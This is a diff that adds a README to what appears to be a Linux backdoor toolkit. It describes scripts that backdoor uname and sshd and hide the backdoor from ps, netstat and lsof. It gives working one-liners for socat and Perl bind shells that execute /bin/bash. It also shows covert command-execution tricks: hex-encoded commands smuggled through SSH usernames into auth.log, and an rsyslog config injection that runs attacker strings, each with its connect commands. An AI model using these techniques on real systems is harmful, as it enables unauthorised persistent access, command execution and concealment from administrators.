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 # backdoors
 Simple linux backdoors and hiding techniques
+
+## bd_uname.sh
+Uncomment the preferred backdoor
+
+Run the script as root to backdoor the **uname** command
+
+Connect to the backdoor depending on the choice
+
+```bash
+socat STDIO TCP4:IP:4444
+  or
+socat STDIO TCP4:IP:3177
+  or
+socat STDIO SCTP:IP:1177
+  or
+socat STDIO TCP4:IP:1337
+```
+
+## bd_hide.sh
+Run the script to protect the backdoor from discovery through **ps**, **netstat** or **lsof**
+
+## bd_sshd.sh
+Run the script to backdoor the **sshd** server
+
+Connect to the backdoor by running
+
+```bash
+socat STDIO TCP4:<target ip>:22,sourceport=19526
+```
+
+## bd_uname_c.sh
+Same as **bd_uname.sh** but creates a backdoored binary instead of a shell script
+
+## bd_hide_c.sh
+Same as **bd_hide.sh** but creates backdoored binaries instead of shell scripts
+
+# Backdoor Techniques
+
+## SOCAT TCP
+LISTEN: 
+```bash
+socat TCP4-Listen:3177,fork EXEC:/bin/bash &
+```
+
+CONNECT: 
+```bash
+socat STDIO TCP4:IP:3177
+```
+
+## SOCAT SCTP
+LISTEN: 
+```bash
+socat SCTP-Listen:1177,fork EXEC:/bin/bash &
+```
+
+CONNECT: 
+```bash
+socat STDIO SCTP:IP:1177
+```
+
+## PERL TCP
+LISTEN: 
+```bash
+perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' &
+```
+
+CONNECT: 
+```bash
+socat STDIO TCP4:IP:1337
+```
+
+## AUTH.LOG
+LISTEN: 
+```bash
+perl -e'while(1){sleep(1);while(<>){system pack("H*",$1)if/LEGO(\w+)/}}'</var/log/auth.log & 
+```
+
+EXECUTE REMOTE COMMAND:
+```bash
+perl -e 'print "LEGO".unpack("H*","id > /tmp/auth.owned")."\n"'
+LEGO6964203e202f746d702f617574682e6f776e6564
+ssh LEGO6964203e202f746d702f617574682e6f776e6564@<target_ip>
+```
+
+## RSYSLOG
+LISTEN:
+```bash
+man -a rsyslogd syslog|perl -pe'print "auth.* ^/bin/atg "if$.==177;print"#"' > /etc/rsyslog.d/README.conf
+echo -e '#!/bin/sh\nsh -c "$1"'>/bin/atg
+chmod 755 /bin/atg
+/etc/init.d/rsyslog restart
+```
+
+EXECUTE: 
+```bash
+echo "';whoami>/tmp/rsyslogd.owned;'"| socat STDIO TCP4:<target ip>:22
+```